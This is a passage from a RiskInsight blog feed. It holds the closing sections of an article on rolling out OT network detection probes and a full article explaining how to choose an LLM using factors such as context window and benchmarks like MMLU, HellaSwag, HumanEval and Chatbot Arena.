<li data-leveltext="-" data-font="Calibri" data-listid="3" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="3" data-aria-level="1">Define an operating model for handling alerts, managing the inventory and managing the probes themselves. While WavePetro can have an operating model heavily relying on local knowledge and expertise, RenewStone must build a central operation model to include group teams such as SOC, OT security, network, infrastructure and so on. </li>
<li>Decide whether to call on a third party or manage your probes in-house: Few vendors also propose managed service, so you would need to create your own model, which could also rely – wholly or partly &#8211; on externalization. </li>
<li data-leveltext="-" data-font="Calibri" data-listid="3" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="5" data-aria-level="1">Create a RACI: Considering the different use cases and the number of players involved in using or maintaining probes, a RACI is key to ensuring that all stakeholders are involved. </li>
</ul>
<p>This stage must be addressed upstream to facilitate the next steps. </p>
<h2>3.Prepare the roll-out  </h2>
<p>Once the first step has demonstrated the added value of a probe and their operating model has been defined, let’s prepare for the roll-out. You need to define the final target: </p>
<ul>
<li data-leveltext="-" data-font="Calibri" data-listid="3" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="6" data-aria-level="1">Where you will deploy: Especially if you have many diverse sites, like RenewStone, you need to be precise on, and prioritize, the scope: It will not be possible to deploy all sites at the same time. </li>
<li>When you will deploy: Work on budget estimates, even if not accurate, as soon as possible so that sites are able to plan a roll-out on the following year. Probes are an expensive solution, not only in terms of hardware and licensing, but also in terms of the resources required to deploy and operate them. </li>
<li data-leveltext="-" data-font="Calibri" data-listid="3" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="8" data-aria-level="1">How you will deploy: In any case, you need to work on a standard architecture blueprint. But especially if you have many sites to deploy or very limited local resources, you should work on building a packaged service offer to deploy.  </li>
</ul>
<p>This preparation part is key to avoid wasting time with deployments and guarantee their success. </p>
<h2>4.Deploy ! </h2>
<p>Let&#8217;s start deploying… The motto is the same for both companies: Start small and grow.  <br />The difference lies in the scale:  </p>
<ul>
<li data-leveltext="-" data-font="Calibri" data-listid="3" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="9" data-aria-level="1">Gradually roll out across the site for WavePetro: It will take some time to be able to listen everywhere effectively. Focus on the expected data to prioritize where to place the probe at first and where to listen to the network. </li>
<li>Learn and improve from one roll-out to the next for RenewStone: Rollouts are centralized and more standardized, so teams will learn and improve from one roll-out to the next. There should be a first ring of roll-out that is comprised of representative sites to test and improve the deployment model on.  </li>
<li data-leveltext="-" data-font="Calibri" data-listid="3" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="11" data-aria-level="1">Include change management: in all cases, the deployment of a new tool must absolutely include awareness-raising and training if probes are to find their users. </li>
</ul>
<p>Deploying OT probes can be a long and tedious process, but do not get discouraged, because there is still one big step left! </p>
<h2>5.Fine-tune OT probe console </h2>
<p>A probe roll-out is not a “1-and-done” kind of project. This is a tool for continuous improvement and needs to learn to deliver value. You should therefore dedicate time to: </p>
<ul>
<li data-leveltext="-" data-font="Calibri" data-listid="3" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="12" data-aria-level="1">Fine-tune OT Probes dashboard: Take time to improve the detection model (whitelist some behaviors, prioritize sensitive assets …), the automatic asset inventory and mapping (enrich inventory, import data, tag VLANs …), and so on. This fine-tuning needs to be done by someone with site-specific knowledge.  </li>
<li>Integrate with other technologies: You can integrate OT probes consoles with your other solutions and tools such as the SIEM, firewalls or CMDBs to make the most of the data collected by the probes. </li>
<li data-leveltext="-" data-font="Calibri" data-listid="3" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="14" data-aria-level="1">Try adding features: once you have gained some maturity over the solution, you can go even further with the features available like performing active queries to enrich the inventory and go even further with the features available. </li>
</ul>
<p>Fine-tuning enables the solution to reduce the amount of data it retrieves, so that it can focus on security data and alerts that will bring value to your company and its security level. </p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-24234 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094056.png" alt="" width="1279" height="652" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094056.png 1279w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094056-375x191.png 375w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094056-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094056-768x392.png 768w" sizes="auto, (max-width: 1279px) 100vw, 1279px" /></p>
<p style="text-align: center;"><i>Figure 3: Takeaways from 5 key steps towards an OT probes service</i> </p>
<h1>Conclusion </h1>
<p>These 2 examples have taught us a lot about OT probes, and the many challenges involved in deploying and using them. If tomorrow, I were facing a customer wondering what to do with this OT Probe project on his roadmap, I would pick out 3 main elements: </p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-24248 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094216.png" alt="" width="1088" height="470" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094216.png 1088w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094216-437x189.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094216-71x31.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094216-768x332.png 768w" sizes="auto, (max-width: 1088px) 100vw, 1088px" /></p>
<p style="text-align: center;"><i>Figure 4: The 3 keys to a successful probe project</i> </p>
<h2>Before deploying: Is it worth it ? </h2>
<p>Without clearly identified use cases and defined objectives, you may end up with probes providing unused or no real added value information. OT probes are expensive, both financially and in terms of time. You need to make sure they are worth it, and then gives you the means to fully exploit them. </p>
<p>To do this, take the time to evaluate the quality and value of the information provided by the OT probes with your different teams (cybersecurity, operations, business&#8230;). </p>
<h2>Start small and grow </h2>
<p>Don’t be afraid to start small and grow progressively, whether that is in the number of monitored sites, assets or use cases. </p>
<p>The long-term operation of OT probes is complex and builds over deployments. Take the time to take care of the solution adoption: if you want teams to use the solution, train them and demonstrate OT probes value! </p>
<h2>Rely on continuous improvement </h2>
<p>As for any robust cybersecurity process, continuous improvement should be at its core. Cyber threats are constantly evolving, from attacker techniques to OT exposure due to process digitalization. </p>
<p>In parallel OT Probes can provide a wide of capabilities from incident detection to cartography, vulnerability management and even more yet to be released by editors. </p>
<p>Focus first on capabilities that reduce your OT risks, progressively improving the services as it gains maturity! </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/10/detection-probes-for-ot-the-keys-to-a-successful-deployment/">Detection probes for OT : The keys to a successful deployment</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2024/10/detection-probes-for-ot-the-keys-to-a-successful-deployment/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Which LLM Suits You? Optimizing the use of LLM Benchmarks Internally.</title>
		<link>https://www.riskinsight-wavestone.com/en/2024/09/which-llm-suits-you-optimizing-the-use-of-llm-benchmarks-internally/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2024/09/which-llm-suits-you-optimizing-the-use-of-llm-benchmarks-internally/#respond</comments>
		
		<dc:creator><![CDATA[Jeanne PIGASSOU]]></dc:creator>
		<pubDate>Wed, 25 Sep 2024 14:25:07 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[artificial intelligence]]></category>
		<category><![CDATA[Benchmarks]]></category>
		<category><![CDATA[Chatbot arena]]></category>
		<category><![CDATA[HellaSwag]]></category>
		<category><![CDATA[HumanEval]]></category>
		<category><![CDATA[Large Language Models]]></category>
		<category><![CDATA[LLM]]></category>
		<category><![CDATA[MMLU]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=24022</guid>

					<description><![CDATA[<p>Ever since the launch of ChatGPT in November 2022, many companies began developing and releasing their own Large Language Models (LLMs).  So much so that we are currently in a phase that many experts describe as an “AI Race”. Not...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/09/which-llm-suits-you-optimizing-the-use-of-llm-benchmarks-internally/">Which LLM Suits You? Optimizing the use of LLM Benchmarks Internally.</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Ever since the launch of ChatGPT in November 2022, many companies began developing and releasing their own Large Language Models (LLMs).  So much so that we are currently in a phase that many experts describe as an “AI Race”. Not just between companies – but countries and international organizations as well. This AI race describes the global frenzy to build better models alongside the guidelines and regulations to handle them. <strong>But what exactly is a better model?</strong></p>
<p style="text-align: justify;">To answer this question, researchers and engineers from around the world came up with a standardized system to test LLMs in various settings, knowledge domains and to quantify it in an objective manner. These tests are commonly known as “Benchmarks”, and different benchmarks reflect very different use cases.</p>
<p style="text-align: justify;">However, for the average user, these benchmarks alone don’t mean much. There is a clear lack of awareness for the end-user: a 97.3% result in the “MMLU” benchmark is hard to read and to transpose into their daily tasks.</p>
<p style="text-align: justify;">To avoid such confusions, the article introduces factors that limit down a user’s LLM choice, the most popular and widely used LLM benchmarks, their use cases and how they can help users choose the most optimal LLM for themselves.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;"><a name="_Toc171702525"></a>Factors that Impact LLM Choice</h2>
<p style="text-align: justify;">Various factors impact to quality of the model: the cut-off date and internet access, multi-modality, data privacy, context window, and speed and parameter size. These factors must be solidified first before moving on to benchmark assessments and model comparison since they limit which models you can use in the first place.</p>
<h3 style="text-align: justify;"><a name="_Toc171702526"></a>Cut-off Date and Internet Access</h3>
<p style="text-align: justify;">Almost all models on the market have a knowledge cut-off date. This is the date where data collection for model training ends. For example, if the cut-off date is September 2021, then the model has no way of knowing any information after that date. Cut-off dates are usually 1-2 years before the model has been released.</p>
<p style="text-align: justify;">However, to overcome this issue, some models such as Copilot (GPT4) and Gemini have been given access to the internet, allowing them to browse the web. This has allowed models with cut-off dates to still have access to the most recent news and articles. This also allows the LLMs to provide the user with references which reduces the risk of hallucination and makes the answer more trustworthy.</p>
<p style="text-align: justify;">Nevertheless, internet access is a product of the model’s packaging rather than the model itself, thus it is limited to models on the internet, primarily closed-source cloud-hosted ones. For this reason, it is important to consider what your needs are and if having up-to-date information is really all that important in achieving your goals.</p>
<h3 style="text-align: justify;"><a name="_Toc171702527"></a>Multi-Modality</h3>
<p style="text-align: justify;">Different applications require different uses for LLMs. While most of us use them for their text generation abilities, many LLMs are in fact able to analyze images, and voices and reply with images as well.</p>
<p style="text-align: justify;">However, not all LLMs have this ability. The ability to analyze different forms of input (text, image, voice) is “multi-modality”. This is an important factor to consider since if your task requires the analysis of voice messages or corporate diagrams then it is important to look for models that are multi-modal such as Claude 3 and ChatGPT.</p>
<h3 style="text-align: justify;"><a name="_Toc171702528"></a>Data Privacy</h3>
<p style="text-align: justify;">A risk of using most models in the market right now is data privacy and leakage. More specifically, data privacy and safety in LLMs can be separated into two parts:</p>
<ol style="text-align: justify;">
<li><strong>Data privacy in pre-training and fine-tuning</strong>, this is whether the model has been trained on data that contains PIIs and if it could leak those PIIs during chats with users<strong>. </strong>This is a product of the model’s training dataset and fine-tuning process.</li>
<li><strong>Data privacy in re-training and memory,</strong> this is whether the model would use chats with users to re-train, potentially leaking information from one chat to another. However, this risk is only limited to some online models. This is a product of the packaging of the model and the software layer(s) between the model and the user.</li>
</ol>
<h3 style="text-align: justify;"><a name="_Toc171702529"></a>Context Window</h3>
<p style="text-align: justify;">Context Window refers to the number of input tokens that a model can accept. Thus, a larger context window means that the model can accept a larger input text. For example, the latest Google model, the Gemini 1.5 pro, has a 1 million token context window which gives it the ability to read entire textbooks and then answer you based on the information in the textbooks.</p>
<p style="text-align: justify;">For context, a 1 million token window allows the model to analyze ~60 full books purely from user input before answering the user prompt.</p>
<p style="text-align: justify;">Thus, it is apparent that models with larger context windows can often be customized to answer questions based on specific corporate documents without using RAG (Retrieval-augmented generation) which is the most common solution for this problem in the market.</p>
<p style="text-align: justify;">However, LLMs often bill users based on the number of input tokens used and thus expect to be billed more when using the larger context window. Additionally, it isn’t common for models to take upwards of 10 minutes before answering when using a larger context window.</p>
<h3 style="text-align: justify;"><a name="_Toc171702530"></a>Speed and Parameter Size</h3>
<p style="text-align: justify;">LLMs have technical variations that can impact the speed of processing the user prompt and the speed of generating a response. The most important technical variation that affects LLM speed is parameter size, which refers to the number of variables the model has internally. This number, usually in billons, reflects how sophisticated a model is but also indicates that the model might require more time to generate a response.</p>
<p style="text-align: justify;">However, the internal architecture of the model also matters. For instance, some of the latest 70B+ parameter models in the market can reply in real-time while some 8B parameter models need minutes to generate a response.</p>
<p style="text-align: justify;">Overall, it is important to consider the trade-off between speed on one hand and parameter size (sophistication and complexity) on the other, although this is also highly dependent on the internal model architecture and the environment it is used in (API, Cloud service, or self-deployed etc.)</p>
<p style="text-align: justify;">Nevertheless, speed specifically is a key distinguisher that borders the line between factor and benchmark since it is measured and used to compare the different STOA models. However, speed isn’t a standardized pragmatic form of assessment and for this reason isn’t considered a benchmark.</p>
<h3 style="text-align: justify;"><a name="_Toc171702531"></a>Next Steps</h3>
<p style="text-align: justify;">After having reviewed the factors, users can now limit their LLM choice and use the benchmarks covered in the next section to help them choose the most optimal model. This helps the user maximize their efficiency and only benchmark the models that are relevant to them (from a cut-off date, speed, data privacy, etc. perspective).</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;"><a name="_Toc171702532"></a>How Benchmarks are Conducted</h2>
<p style="text-align: justify;">Benchmarks are tools used to assess LLM performance in a specific area. Benchmarks can be conducted in different ways – the key distinguisher being the number of example question-answer pairs the LLM is given before it is asked to solve a real question.</p>
<p style="text-align: justify;">Benchmarks assess the LLM’s ability to do a certain task. Most benchmarks will ask an LLM a question and compare the LLM’s answer with a reference correct answer. If it matches, then the LLM’s score increases. In the end, the benchmarks output an Acc/Accuracy score which is a percentage of the number of questions an LLM answered correctly.</p>
<p style="text-align: justify;">However, depending on the method of assessment, the LLM might get some context on the benchmark, type of questions or more. This is done through multi-shot or multi-example testing.</p>
<h3 style="text-align: justify;"><a name="_Toc171702533"></a>Multi-shot Testing</h3>
<p style="text-align: justify;">Benchmarks are conducted in three distinct ways.</p>
<ol style="text-align: justify;">
<li>Zero-Shot</li>
<li>One-Shot</li>
<li>Multi-shot (often multiples of 2 or 5)</li>
</ol>
<p style="text-align: justify;">Where shots refer to the number of times a sample question was given to the LLM prior to its assessment.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24029" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-1-EN.png" alt="" width="605" height="194" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-1-EN.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-1-EN-437x140.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-1-EN-71x23.png 71w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<p style="text-align: center;"><em>Figure 1: illustration of 3-shot vs. 0-shot prompting</em></p>
<p style="text-align: justify;">The reason we have different-shot testing is because certain LLMs outperform others in short-term memory and context usage. For example, LLM1 could have been trained on more data and thus outperforms LLM2 in zero-shot prompting. However, LLM2’s underlying technology allows it to have a superior reasoning, and contextualizing ability that would only be measured through one-shot or multi-shot assessment.</p>
<p style="text-align: justify;">For this reason, each time an LLM is assessed, multiple shot settings are used to ensure that we get a complete understanding of the model and its capabilities.</p>
<p style="text-align: justify;">For instance, if you are interested in finding a model that contextualizes well and is able logically reason through new and diverse problems, consider looking at how the model’s performance increases as the number of shots increases. If a model has significant improvement, it means that it has a strong ability to reason and learn from previous examples.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;"><a name="_Toc171702534"></a>Key Benchmarks and Their Differentiators</h2>
<p style="text-align: justify;">Many benchmarks often evaluate the same thing. Thus, it is important when looking at benchmarks to understand what they are assessing, how they are assessing it and what its implications are.</p>
<h3 style="text-align: justify;"><a name="_Toc171702535"></a>Massive Multitask Language Understanding (MMLU)</h3>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24038" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-1-EN.png" alt="" width="626" height="225" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-1-EN.png 626w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-1-EN-437x157.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-1-EN-71x26.png 71w" sizes="auto, (max-width: 626px) 100vw, 626px" /></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24006" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-2.png" alt="" width="1386" height="339" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-2.png 1386w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-2-437x107.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-2-71x17.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-2-768x188.png 768w" sizes="auto, (max-width: 1386px) 100vw, 1386px" /></p>
<p style="text-align: center;"><em>Figure 2: example of an MMLU question</em></p>
<p style="text-align: justify;">MMLU is one of the most widely used benchmarks. It is a large multiple-choice question format dataset that covers 57 unique subjects at an undergraduate level. These subjects include Humanities, Social Sciences, STEM and more. For this reason, MMLU is considered as the most comprehensive benchmark for testing an LLM’s general knowledge across all domains. Additionally, it is also used to find gaps in the LLMs pre-training data since it isn’t rare for an LLM to be exceptionally good at one topic and underperforming in another.</p>
<p style="text-align: justify;">Nevertheless, MMLU only contains English-language questions. So, a great result in MMLU doesn’t necessarily translate to a great result when asking general knowledge questions in French, or Spanish. Additionally, MMLU is purely multiple choice which means that the LLM is tested only on its ability to pick the correct answer. This doesn’t necessarily mean the LLM is good at generating coherent, well-structured, and non-hallucinatory answers when prompted with open-ended questions.</p>
<p style="text-align: justify;">An MMLU result can be interpreted as the percentage of questions that the LLM was able to answer correctly. Thus, for MMLU, a higher percentage is a better score.</p>
<p style="text-align: justify;">Generally, a high average MMLU score across all 57 fields indicates that the model was trained on a large amount of data containing information from many different topics. Thus, a model performing well in MMLU is a model that can effectively be used (perhaps with some prompt engineering) to answer FAQs, examination questions and other common everyday questions.</p>
<h3 style="text-align: justify;"><a name="_Toc171702536"></a>HellaSwag (HS)</h3>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24036" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-2-EN.png" alt="" width="620" height="222" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-2-EN.png 620w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-2-EN-437x156.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-2-EN-71x25.png 71w" sizes="auto, (max-width: 620px) 100vw, 620px" /></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24000" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-3.png" alt="" width="2063" height="351" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-3.png 2063w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-3-437x74.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-3-71x12.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-3-768x131.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-3-1536x261.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-3-2048x348.png 2048w" sizes="auto, (max-width: 2063px) 100vw, 2063px" /></p>
<p style="text-align: center;"><em>Figure 3: example of a HellaSwag question</em></p>
<p style="text-align: justify;">HellaSwag is an acronym for “Harder Endings, Longer contexts, and Low-shot Activities for Situations with Adversarial Generations”. It is another English-focused multiple choice massive (10K+ questions) benchmark. However, unlike MMLU, HS does not assess factual or domain knowledge. Instead, HS focuses on coherency and LLM reasoning.</p>
<p style="text-align: justify;">Questions like the one above challenge the LLM by asking it to choose the continuation of the sentence that makes the most human sense. Grammatically, these are all valid sentences but only one follows common sense.</p>
<p style="text-align: justify;">The reason this benchmark was chosen is because it works in tandem with MMLU. While MMLU assesses factual knowledge, HS assesses whether the LLM would be able to use that factual knowledge to provide you with coherent and sensical responses.</p>
<p style="text-align: justify;">A great way to visualize how MMLU and HS are used is by imagining the world we live in today. We have engineers and developers that possess great understanding and technical knowledge but have no way to communicate it properly due to language and social barriers. Because of this, we have consultants and managers that may not possess the same depth of knowledge, but instead have the ability organize, and communicate the engineers’ knowledge coherently and concisely.</p>
<p style="text-align: justify;">In this case, MMLU is the engineer and HS is the consultant. One assesses the knowledge while the other assesses the communication.</p>
<h3 style="text-align: justify;"><a name="_Toc171702537"></a>HumanEval (HE)</h3>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24034" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-3-EN.png" alt="" width="620" height="222" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-3-EN.png 620w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-3-EN-437x156.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-3-EN-71x25.png 71w" sizes="auto, (max-width: 620px) 100vw, 620px" /></p>
<p style="text-align: justify;">While MMLU and HS test the LLM’s ability to reason and answer accurately, HumanEval is the most popular benchmark to purely assess the LLM’s ability to generate useable code for 164 different scenarios. Unlike the previous two, HumanEval is not multiple choice based and instead allows the LLM to generate its own response. However, not all responses are accepted by the benchmark. Whenever an LLM is asked to code a solution to a scenario, HumanEval tests the LLM’s code with a variety of test and edge cases. If any of these test cases fail, then the LLM fails.</p>
<p style="text-align: justify;">Additionally, HumanEval also expects that the code generated by the LLM is algorithm optimized for time and space. Thus, if an LLM outputs a certain algorithm while there is a more optimal algorithm available then it loses points. Because of this reason, HumanEval also tests the LLM’s ability to accurately understand the question and respond in a precise manner.</p>
<p style="text-align: justify;">HumanEval is an important benchmark, even for non-technical use cases since it accurately reflects LLM’s general sophistication and quality in an indirect way. For most models, the target audience is developers and tech enthusiasts. For this reason, this is a strong positive correlation between greater HumanEval scores and greater scores in many other benchmarks signifying that the model is of higher quality. However, it is important to keep in mind that this is merely a correlation, not a causation, and so things might differ in the future as models start targeting new users.</p>
<h3 style="text-align: justify;"><a name="_Toc171702538"></a>Chatbot Arena</h3>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24032" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-4-EN.png" alt="" width="622" height="227" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-4-EN.png 622w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-4-EN-437x159.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Table-4-EN-71x26.png 71w" sizes="auto, (max-width: 622px) 100vw, 622px" /> <img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24004" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-4.png" alt="" width="1386" height="348" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-4.png 1386w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-4-437x110.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-4-71x18.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-4-768x193.png 768w" sizes="auto, (max-width: 1386px) 100vw, 1386px" /></p>
<p style="text-align: center;"><em>Figure 4: example of Chatbot Arena interface</em></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24002" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-5.png" alt="" width="341" height="248" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-5.png 341w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-5-263x191.png 263w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/09/Figure-5-54x39.png 54w" sizes="auto, (max-width: 341px) 100vw, 341px" /></p>
<p style="text-align: center;"><em>Figure 5: Chatbot Arena July 2024 rankings</em></p>
<p style="text-align: justify;">Unlike the past three benchmarks, Chatbot arena is not an objective benchmark, but a subjective ranking of all the available LLMs in the market. Chatbot Arena collects users’ votes and determines which LLM provides the best overall user experience including the ability to maintain complex dialogues, understand user inquiries and other customer satisfaction factors.  Chatbot Arena’s subjective nature makes it the best benchmark assessing the end-user experience. However, this subjectivity also makes it non-reproducible and difficult to really quantify.</p>
<p style="text-align: justify;">The current user rankings put OpenAI’s GPT-4o at the top of the list with a sizable margin between it and second place. This ranking has great merit since it is collected from the opinion of 1.3M user votes. However, these voters are primarily from a tech background and thus the ranking might be biased towards models with greater coding abilities.</p>
<p style="text-align: justify;">The rankings are built on top of the ELO system, which is a zero-sum system where models gain ELO by producing better replies than their opposing model and the opposing model loses ELO.</p>
<h3 style="text-align: justify;"><a name="_Toc171702539"></a>Overall benchmarking</h3>
<p style="text-align: justify;">Benchmarks can have internal biases and limitations. Benchmarks can be used together to better represent the model’s capabilities. Newer models are more advantaged because of their architecture, training data size, and leakage of benchmark questions.</p>
<p style="text-align: justify;">The three + one (chatbot arena) benchmarks mentioned are the most popular and widely used in research to compare LLMs. The combination mentioned (MMLU, HellaSwag, HumanEval and Chatbot Arena) assess many sides of the LLM, from its factual understanding and coherence to coding and user experience. For this reason, these four benchmarks alone are widely used in many rankings online since they are able to reflect the true nature of the LLM.</p>
<p style="text-align: justify;">However, one thing to consider is that the newest LLM models are heavily advantaged because of two primary reasons.</p>
<ol style="text-align: justify;">
<li>They are built on a more robust architecture, have better underlying technologies and have more data to train on due to later cut-off dates and larger hardware capacity.</li>
<li>Many questions from the benchmarks have leaked into the model’s training data.</li>
</ol>
<p style="text-align: justify;">Nevertheless, there are many more benchmarks available on the net that assess different parts of the LLM and are often used in tandem to paint a complete picture of the model’s performance.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;"><a name="_Toc171702540"></a>Factors, Benchmarks and How to Choose Your LLM</h2>
<p style="text-align: justify;">By using the aforementioned factors and benchmarks, you can effectively compare LLMs in a quantifiable and objective way – helping you make an informed decision and choose the most optimal model for your business need and task.</p>
